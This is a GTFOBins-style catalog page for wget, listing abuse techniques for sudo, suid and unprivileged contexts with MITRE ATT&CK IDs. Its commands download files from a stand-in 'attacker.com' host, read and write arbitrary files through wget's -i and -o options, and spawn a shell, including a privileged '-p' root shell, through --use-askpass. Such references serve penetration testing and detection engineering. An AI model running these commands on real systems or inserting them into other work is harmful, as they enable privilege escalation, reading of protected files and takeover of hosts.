Catalog GTFOBins

GTFO · Tool

wget

18 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS
wget http://attacker.com/path/to/input-file -O /path/to/output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS
wget http://attacker.com/path/to/input-file -O /path/to/output-file
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS
wget http://attacker.com/path/to/input-file -O /path/to/output-file
Context
unprivileged
Native
download
MITRE
T1105

file-read

File ReadPrivilege Escalation LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file -o /path/to/output-file
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file -o /path/to/output-file
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

The file to be read is treated as a list of URLs, one per line, which are actually fetched by `wget`. The content appears, somewhat modified, as error messages.

wget -i /path/to/input-file -o /path/to/output-file
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege Escalation LinuxmacOS
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation LinuxmacOS
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
Context
suid
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS
echo -e '#!/bin/sh\n/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
wget --use-askpass=/path/to/temp-file 0
Context
unprivileged
Native
shell
MITRE
T1059